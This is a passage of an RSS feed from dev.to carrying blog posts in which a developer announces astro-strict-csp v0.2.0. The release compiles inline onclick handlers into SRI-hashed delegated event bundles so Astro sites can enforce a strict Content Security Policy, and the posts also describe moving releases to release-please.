&lt;td&gt;Compiled to delegated &lt;code&gt;data-csp-on-*&lt;/code&gt; bundles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Subresource Integrity (SRI)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Partial / adapter-dependent&lt;/td&gt;
&lt;td&gt;Automatic &lt;code&gt;sha384&lt;/code&gt; hashes on all local JS and CSS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloudflare Pages / Netlify &lt;code&gt;_headers&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adapter-dependent&lt;/td&gt;
&lt;td&gt;Generates &lt;code&gt;dist/_headers&lt;/code&gt; automatically&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If you hit the Shiki wall when turning on Astro's native CSP, you can drop &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;&lt;code&gt;astro-strict-csp&lt;/code&gt;&lt;/a&gt; into &lt;code&gt;astro.config.mjs&lt;/code&gt; and keep your VS Code syntax highlighting alongside a clean &lt;code&gt;style-src 'self'&lt;/code&gt; policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;astro-strict-csp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;npm:&lt;/strong&gt; &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;npmjs.com/package/astro-strict-csp&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/Evgenii-Zinner/astro-strict-csp" rel="noopener noreferrer"&gt;github.com/Evgenii-Zinner/astro-strict-csp&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>astro</category>
    </item>
    <item>
      <title>Compiling Inline Event Handlers (onclick) for Strict CSP in Astro (astro-strict-csp v0.2.0)</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Mon, 19 Oct 2026 06:50:50 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/compiling-inline-event-handlers-onclick-for-strict-csp-in-astro-astro-strict-csp-v020-4k9d</link>
      <guid>https://dev.to/evgenii_zinner/compiling-inline-event-handlers-onclick-for-strict-csp-in-astro-astro-strict-csp-v020-4k9d</guid>
      <description>&lt;p&gt;Right after publishing &lt;code&gt;v0.1.3&lt;/code&gt; of &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;astro-strict-csp&lt;/a&gt; to handle Shiki inline styles and &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; theme scripts, I remembered another annoying CSP workaround sitting in my own website's codebase: &lt;strong&gt;inline event attributes&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When you enforce a strict Content Security Policy (&lt;code&gt;script-src 'self'&lt;/code&gt; with zero &lt;code&gt;'unsafe-inline'&lt;/code&gt;), browsers don't just block &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; blocks—they also ruthlessly block every inline DOM event attribute like &lt;code&gt;onclick&lt;/code&gt;, &lt;code&gt;onmouseenter&lt;/code&gt;, or &lt;code&gt;onsubmit&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;If you want a simple &lt;code&gt;&amp;lt;button onclick="window.print()"&amp;gt;&lt;/code&gt; in a template or markdown file, strict CSP forces you to give it an ID, open a separate &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag, query the selector, and attach an &lt;code&gt;addEventListener&lt;/code&gt;. It’s tedious boilerplate that ruins the joy of writing simple HTML.&lt;/p&gt;

&lt;p&gt;Since the whole point of building &lt;code&gt;astro-strict-csp&lt;/code&gt; was to stop thinking about security workarounds across my projects, I moved this fix into the package and shipped &lt;strong&gt;v0.2.0&lt;/strong&gt;. Now I can write lazy inline &lt;code&gt;onclick&lt;/code&gt; attributes whenever I want and let the compiler turn them into strict-CSP-compliant, SRI-hashed bundles at build time.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. The Build-Time Transformation: Zero &lt;code&gt;'unsafe-inline'&lt;/code&gt; Without Rewriting HTML
&lt;/h3&gt;

&lt;p&gt;Instead of forcing you to refactor components or weaken your policy with &lt;code&gt;'unsafe-hashes'&lt;/code&gt;, &lt;code&gt;astro-strict-csp&lt;/code&gt; extracts inline event handlers during &lt;code&gt;astro:build:done&lt;/code&gt; and rewrites them into &lt;code&gt;data-csp-on-*&lt;/code&gt; attributes.&lt;/p&gt;

&lt;h4&gt;
  
  
  What you write in your Astro template or Markdown:
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;onclick=&lt;/span&gt;&lt;span class="s"&gt;"window.print()"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"btn"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Print Recipe&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"#"&lt;/span&gt; &lt;span class="na"&gt;onclick=&lt;/span&gt;&lt;span class="s"&gt;"copyLink(this); return false;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Share&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  What actually ships in production HTML:
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;data-csp-on-click=&lt;/span&gt;&lt;span class="s"&gt;"evt-a1b2c3"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"btn"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Print Recipe&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"#"&lt;/span&gt; &lt;span class="na"&gt;data-csp-on-click=&lt;/span&gt;&lt;span class="s"&gt;"evt-d4e5f6"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Share&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- Automatically hashed by the SHA-384 SRI pipeline --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"module"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"/_astro/events-8f92a1.js"&lt;/span&gt; &lt;span class="na"&gt;integrity=&lt;/span&gt;&lt;span class="s"&gt;"sha384-..."&lt;/span&gt; &lt;span class="na"&gt;crossorigin=&lt;/span&gt;&lt;span class="s"&gt;"anonymous"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the event extraction step runs right before the Subresource Integrity (SRI) stage in our single-pass in-memory pipeline, the generated &lt;code&gt;/_astro/events-[hash].js&lt;/code&gt; bundle automatically gets a cryptographic &lt;code&gt;sha384&lt;/code&gt; integrity hash and is whitelisted in your Content Security Policy.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. The Runtime Engine: Preserving Native Browser Semantics
&lt;/h3&gt;

&lt;p&gt;Extracting the string inside &lt;code&gt;onclick="..."&lt;/code&gt; into an external file is harder than it looks because browsers give inline event attributes very specific execution semantics that standard &lt;code&gt;addEventListener&lt;/code&gt; callbacks don't have out of the box:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;this&lt;/code&gt; Binding:&lt;/strong&gt; Inside &lt;code&gt;onclick="copyLink(this)"&lt;/code&gt;, &lt;code&gt;this&lt;/code&gt; refers to the DOM element itself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Implicit &lt;code&gt;event&lt;/code&gt; Argument:&lt;/strong&gt; Inline handlers have access to a local &lt;code&gt;event&lt;/code&gt; variable without declaring it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;return false&lt;/code&gt; Behavior:&lt;/strong&gt; Returning &lt;code&gt;false&lt;/code&gt; from an inline handler automatically calls &lt;code&gt;event.preventDefault()&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To mirror native browser behavior without attaching hundreds of individual listeners across the DOM, &lt;code&gt;astro-strict-csp&lt;/code&gt; generates a single delegated dispatcher:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Generated in /_astro/events-[hash].js&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;HANDLERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;evt-a1b2c3&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;evt-d4e5f6&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nf"&gt;copyLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evt&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="k"&gt;of &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;composedPath&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;composedPath&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data-csp-on-&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;HANDLERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="c1"&gt;// Mirrors native inline event semantics:&lt;/span&gt;
          &lt;span class="c1"&gt;// 1. `this` is bound to the element via .call(el, e)&lt;/span&gt;
          &lt;span class="c1"&gt;// 2. `event` is passed as the parameter&lt;/span&gt;
          &lt;span class="c1"&gt;// 3. `return false` prevents default browser action&lt;/span&gt;
          &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;HANDLERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
          &lt;span class="p"&gt;}&lt;/span&gt;
          &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;capture&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3. The &lt;code&gt;{ capture: true }&lt;/code&gt; Trick for Non-Bubbling Events
&lt;/h3&gt;

&lt;p&gt;Most naive event delegation scripts attach a normal bubbling listener to &lt;code&gt;document&lt;/code&gt; and check &lt;code&gt;e.target&lt;/code&gt;. That works fine for &lt;code&gt;click&lt;/code&gt; or &lt;code&gt;keydown&lt;/code&gt;, but it fails completely on &lt;strong&gt;non-bubbling events&lt;/strong&gt; like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;focus&lt;/code&gt; and &lt;code&gt;blur&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;mouseenter&lt;/code&gt; and &lt;code&gt;mouseleave&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;load&lt;/code&gt; and &lt;code&gt;error&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;scroll&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because those events do not bubble up the DOM tree, a normal listener on &lt;code&gt;document&lt;/code&gt; never hears them.&lt;/p&gt;

&lt;p&gt;However, per the W3C UI Events specification, &lt;strong&gt;even non-bubbling events still travel down the DOM tree during the Capture Phase&lt;/strong&gt; before reaching their target. By registering the root listener with &lt;code&gt;{ capture: true }&lt;/code&gt; and walking &lt;code&gt;e.composedPath()&lt;/code&gt;, our single delegated listener cleanly intercepts &lt;code&gt;onfocus&lt;/code&gt;, &lt;code&gt;onblur&lt;/code&gt;, and &lt;code&gt;onmouseenter&lt;/code&gt; attributes across the entire document—including inside open Shadow DOM trees.&lt;/p&gt;

&lt;p&gt;And just like the CSS extractor in v0.1.0:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Global Deduplication:&lt;/strong&gt; If 50 buttons across 20 pages use &lt;code&gt;onclick="window.print()"&lt;/code&gt;, the handler is hashed and emitted only once in &lt;code&gt;HANDLERS&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Region Masking:&lt;/strong&gt; Code blocks (&lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt;), &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; strings, and HTML comments are masked prior to extraction, so tutorials discussing &lt;code&gt;onclick="..."&lt;/code&gt; are never mutated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero Dependencies:&lt;/strong&gt; Still 0 external npm dependencies—pure native Node and Web APIs.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  4. Ditching Custom CI Scripts for Google's &lt;code&gt;release-please&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Alongside the v0.2.0 feature work, I cleaned up the repository's release pipeline.&lt;/p&gt;

&lt;p&gt;Previously, I used custom GitHub Actions workflows to handle version bumps and npm publishing. Custom release scripts always end up brittle—you forget to update &lt;code&gt;CHANGELOG.md&lt;/code&gt;, mismatch a git tag, or fight token permissions.&lt;/p&gt;

&lt;p&gt;I replaced the custom CI logic with Google's &lt;a href="https://github.com/googleapis/release-please" rel="noopener noreferrer"&gt;release-please&lt;/a&gt;. Now, because the repo already follows strict &lt;strong&gt;Conventional Commits&lt;/strong&gt; (&lt;code&gt;feat:&lt;/code&gt;, &lt;code&gt;fix:&lt;/code&gt;, &lt;code&gt;perf:&lt;/code&gt;), &lt;code&gt;release-please&lt;/code&gt; automatically maintains a living Release PR. Every time a commit lands on &lt;code&gt;main&lt;/code&gt;, it updates the semantic version and compiles a categorized changelog. Merging that PR automatically tags the release and publishes the new tarball to npm with zero manual steps.&lt;/p&gt;




&lt;h3&gt;
  
  
  Try It Out
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;astro-strict-csp@latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Links:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;npm:&lt;/strong&gt; &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;npmjs.com/package/astro-strict-csp&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/Evgenii-Zinner/astro-strict-csp" rel="noopener noreferrer"&gt;github.com/Evgenii-Zinner/astro-strict-csp&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you hit an edge case with a weird inline handler or want to request a feature, drop a bug report or feature request in the &lt;a href="https://github.com/Evgenii-Zinner/astro-strict-csp/issues" rel="noopener noreferrer"&gt;GitHub Issues&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>astro</category>
      <category>security</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
